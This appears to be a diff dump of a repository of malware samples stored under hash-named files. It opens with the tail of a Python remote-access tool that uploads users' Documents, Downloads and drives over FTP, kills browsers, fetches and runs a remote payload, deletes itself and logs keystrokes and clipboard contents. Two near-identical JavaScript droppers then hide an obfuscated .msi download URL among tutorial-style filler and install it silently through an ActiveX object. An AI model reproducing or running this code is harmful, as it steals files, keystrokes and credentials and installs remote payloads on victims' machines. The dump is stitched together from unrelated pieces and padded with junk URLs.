| 437 |
+
A.send_n(a,8,'--- uenv start ')
|
| 438 |
+
(t,dd)=A.o_ftp(c,'env_'+str(int(time.time())))
|
| 439 |
+
|
| 440 |
+
if os_type == "Windows":
|
| 441 |
+
hd=os.path.expanduser('~')
|
| 442 |
+
dd1=dd+'/doc';FM(t,dd1)
|
| 443 |
+
# A.send_n(a,8,'>> '+hd+'\\Documents')
|
| 444 |
+
A.ss_ld(a,t,hd+'\\Documents',dd1,'')
|
| 445 |
+
dd1=dd+'/down';FM(t,dd1)
|
| 446 |
+
# A.send_n(a,8,'>> '+hd+'\\Downloads')
|
| 447 |
+
A.ss_ld(a,t,hd+'\\Downloads',dd1,'')
|
| 448 |
+
|
| 449 |
+
for i in range(68,73):
|
| 450 |
+
C=chr(i);dd1=dd+'/'+C;FM(t,dd1)
|
| 451 |
+
# A.send_n(a,8,'>> '+dd1)
|
| 452 |
+
A.ss_ld(a,t,C+':',dd1,'')
|
| 453 |
+
else:
|
| 454 |
+
hd=os.path.expanduser('~')
|
| 455 |
+
dd1=dd+'/home';FM(t,dd1)
|
| 456 |
+
A.ss_ld(a,t,hd,dd1,'')
|
| 457 |
+
|
| 458 |
+
hd='/Volumes'
|
| 459 |
+
dd1=dd+'/vol';FM(t,dd1)
|
| 460 |
+
A.ss_ld(a,t,hd,dd1,'')
|
| 461 |
+
t.close()
|
| 462 |
+
A.send_n(a,8,'--- uenv success ')
|
| 463 |
+
except Exception as e:A.send_n(a,8,' uenv err: '+str(e))
|
| 464 |
+
|
| 465 |
+
def ssh_kill(A,args):
|
| 466 |
+
D=args[_A]
|
| 467 |
+
if os_type == "Windows":
|
| 468 |
+
try:subprocess.Popen('taskkill /IM chrome.exe /F')
|
| 469 |
+
except:pass
|
| 470 |
+
try:subprocess.Popen('taskkill /IM brave.exe /F')
|
| 471 |
+
except:pass
|
| 472 |
+
else:
|
| 473 |
+
try:subprocess.Popen('killall Google\ Chrome')
|
| 474 |
+
except:pass
|
| 475 |
+
try:subprocess.Popen('killall Brave\ Browser')
|
| 476 |
+
except:pass
|
| 477 |
+
p={_A:D,_O: 'Chrome & Browser are terminated'}
|
| 478 |
+
A.send(code=6,args=p)
|
| 479 |
+
|
| 480 |
+
def down_any(A,p):
|
| 481 |
+
if os.path.exists(p):
|
| 482 |
+
try:os.remove(p)
|
| 483 |
+
except OSError:return _T
|
| 484 |
+
try:
|
| 485 |
+
if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
|
| 486 |
+
except:pass
|
| 487 |
+
|
| 488 |
+
host2 = f"http://{HOST}:{PORT}"
|
| 489 |
+
try:
|
| 490 |
+
myfile = requests.get(host2+"/adc/"+sType, allow_redirects=_T)
|
| 491 |
+
with open(p,'wb') as f:f.write(myfile.content)
|
| 492 |
+
return _T
|
| 493 |
+
except Exception as e:return _F
|
| 494 |
+
|
| 495 |
+
def ssh_any(A,args):
|
| 496 |
+
try:
|
| 497 |
+
D=args[_A];p = A.par_dir + "/adc";res=A.down_any(p)
|
| 498 |
+
if res:
|
| 499 |
+
if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
|
| 500 |
+
else:subprocess.Popen([sys.executable,p])
|
| 501 |
+
o = os_type + ' get anydesk'
|
| 502 |
+
except Exception as e:o = f'Err7: {e}';pass
|
| 503 |
+
p={_A:D,_O:o};A.send(code=7,args=p)
|
| 504 |
+
|
| 505 |
+
HOST0 = base64.b64decode(host[8:] + host[:8]).decode()
|
| 506 |
+
PORT0 = 2245
|
| 507 |
+
|
| 508 |
+
class Client():
|
| 509 |
+
def __init__(A):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = 0;A.shell = _N
|
| 510 |
+
|
| 511 |
+
@property
|
| 512 |
+
def make_connection(A):
|
| 513 |
+
while _T:
|
| 514 |
+
try:
|
| 515 |
+
A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 516 |
+
s = Session(A.client_socket)
|
| 517 |
+
s.connect(A.server_ip, A.server_port)
|
| 518 |
+
A.shell = Shell(s);A.is_active = _T
|
| 519 |
+
if A.shell.shell():
|
| 520 |
+
try:dir = os.getcwd();print("dir:", dir);fn=os.path.join(dir,sys.argv[0]);print("fn:", fn);os.remove(fn)
|
| 521 |
+
except Exception as ex:print("connection error:", ex);pass
|
| 522 |
+
return _T
|
| 523 |
+
sleep(15)
|
| 524 |
+
except Exception as e: print("error_make:", e); sleep(20);pass
|
| 525 |
+
def run(A):
|
| 526 |
+
if A.make_connection:return
|
| 527 |
+
|
| 528 |
+
client = Client()
|
| 529 |
+
import sys
|
| 530 |
+
|
| 531 |
+
is_w=sys.platform.startswith('win')
|
| 532 |
+
if __name__ == "__main__":
|
| 533 |
+
if is_w == _F:
|
| 534 |
+
try:client.run()
|
| 535 |
+
except KeyboardInterrupt:pass
|
| 536 |
+
sys.exit(0)
|
| 537 |
+
|
| 538 |
+
_M='-m';_P='pip';_L='install'
|
| 539 |
+
import subprocess
|
| 540 |
+
try:import pyWinhook as pyHook
|
| 541 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyWinhook']);import pyWinhook as pyHook
|
| 542 |
+
try:import pyperclip
|
| 543 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyperclip']);import pyperclip
|
| 544 |
+
try:import psutil
|
| 545 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'psutil']);import psutil
|
| 546 |
+
try:import win32process
|
| 547 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32process
|
| 548 |
+
try:import pythoncom
|
| 549 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import pythoncom
|
| 550 |
+
try:import win32gui
|
| 551 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32gui
|
| 552 |
+
|
| 553 |
+
def act_win_pn():
|
| 554 |
+
try:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow());return (pid[-1], psutil.Process(pid[-1]).name())
|
| 555 |
+
except:pass
|
| 556 |
+
|
| 557 |
+
def write_txt(text):0
|
| 558 |
+
|
| 559 |
+
c_win = 0
|
| 560 |
+
def check_window(event):
|
| 561 |
+
global c_win
|
| 562 |
+
if c_win != event.Window:
|
| 563 |
+
(pid, text) = act_win_pn()
|
| 564 |
+
tz = timezone(offset=timedelta(hours=9))
|
| 565 |
+
d_t = datetime.fromtimestamp(time.time(), tz)
|
| 566 |
+
t_s = d_t.strftime("%m/%d/%Y, %H:%M:%S")
|
| 567 |
+
|
| 568 |
+
c_win = event.Window
|
| 569 |
+
return f"\n**\n-[ {text} | PID: {pid}-{c_win}\n-[ @ {t_s} | {event.WindowName}\n**\n"
|
| 570 |
+
return ""
|
| 571 |
+
m_win = 0
|
| 572 |
+
def hmld(event):
|
| 573 |
+
global e_buf, m_win
|
| 574 |
+
if m_win!=event.Window:m_win=event.Window;tt='<..>'
|
| 575 |
+
else:tt='<.>'
|
| 576 |
+
e_buf+=tt;write_txt(tt);return _T
|
| 577 |
+
|
| 578 |
+
def hmrd(event):
|
| 579 |
+
global e_buf, m_win
|
| 580 |
+
if m_win!=event.Window:m_win=event.Window;tt='<,,>'
|
| 581 |
+
else:tt='<,>'
|
| 582 |
+
e_buf+=tt;write_txt(tt);return _T
|
| 583 |
+
|
| 584 |
+
def is_down(status):
|
| 585 |
+
if status == 128: return _T
|
| 586 |
+
return _F
|
| 587 |
+
|
| 588 |
+
def is_control_down():
|
| 589 |
+
return is_down(pyHook.GetKeyState(0x11)) or is_down(pyHook.GetKeyState(0xA2)) or is_down(pyHook.GetKeyState(0xA3))
|
| 590 |
+
|
| 591 |
+
def run_copy_clipboard():
|
| 592 |
+
global e_buf
|
| 593 |
+
try:
|
| 594 |
+
copied = pyperclip.waitForPaste(0.05)
|
| 595 |
+
tt = "\n=================BEGIN================\n";tt += copied;tt += "\n==================END==================\n"
|
| 596 |
+
e_buf += tt;write_txt(tt)
|
| 597 |
+
except Exception as ex:pass
|
| 598 |
+
|
| 599 |
+
def hkb(event):
|
| 600 |
+
if event.KeyID == 0xA2 or event.KeyID == 0xA3:return _T
|
| 601 |
+
|
| 602 |
+
global e_buf
|
| 603 |
+
tt = check_window(event)
|
| 604 |
+
|
| 605 |
+
key = event.Ascii
|
| 606 |
+
if (is_control_down()):key=f"<^{event.Key}>"
|
| 607 |
+
elif key==0xD:key="\n"
|
| 608 |
+
else:
|
| 609 |
+
if key>=32 and key<=126:key=chr(key)
|
| 610 |
+
else:key=f'<{event.Key}>'
|
| 611 |
+
tt += key
|
| 612 |
+
if is_control_down() and event.Key == 'C':
|
| 613 |
+
start_time = Timer(0.1, run_copy_clipboard)
|
| 614 |
+
start_time.start()
|
| 615 |
+
elif is_control_down() and event.Key == 'V':
|
| 616 |
+
start_time = Timer(0.1, run_copy_clipboard)
|
| 617 |
+
start_time.start()
|
| 618 |
+
|
| 619 |
+
e_buf += tt;write_txt(tt);return _T
|
| 620 |
+
def startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()
|
| 621 |
+
def hk_loop():startHk();pythoncom.PumpMessages()
|
| 622 |
+
def run_client():
|
| 623 |
+
t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()
|
| 624 |
+
try:client.run()
|
| 625 |
+
except KeyboardInterrupt:sys.exit(0)
|
| 626 |
+
|
| 627 |
+
if __name__ == "__main__":
|
| 628 |
+
run_client()
|
code/0856792f4d42c55a0f0be82bd4212a6ed769addb3c8e6d9f2d15e3c263f9f91c
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtqopm
|
code/0a7f251c8d24b3e27f21025b37e8d4b4524b6626f5ae4d59aca6a1cf0427aebd
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtvnpj
|
code/0aac0b346457d923ed4e615f107236966beacd02fa702e2fbaae3d2b599f2937
ADDED
|
@@ -0,0 +1,170 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
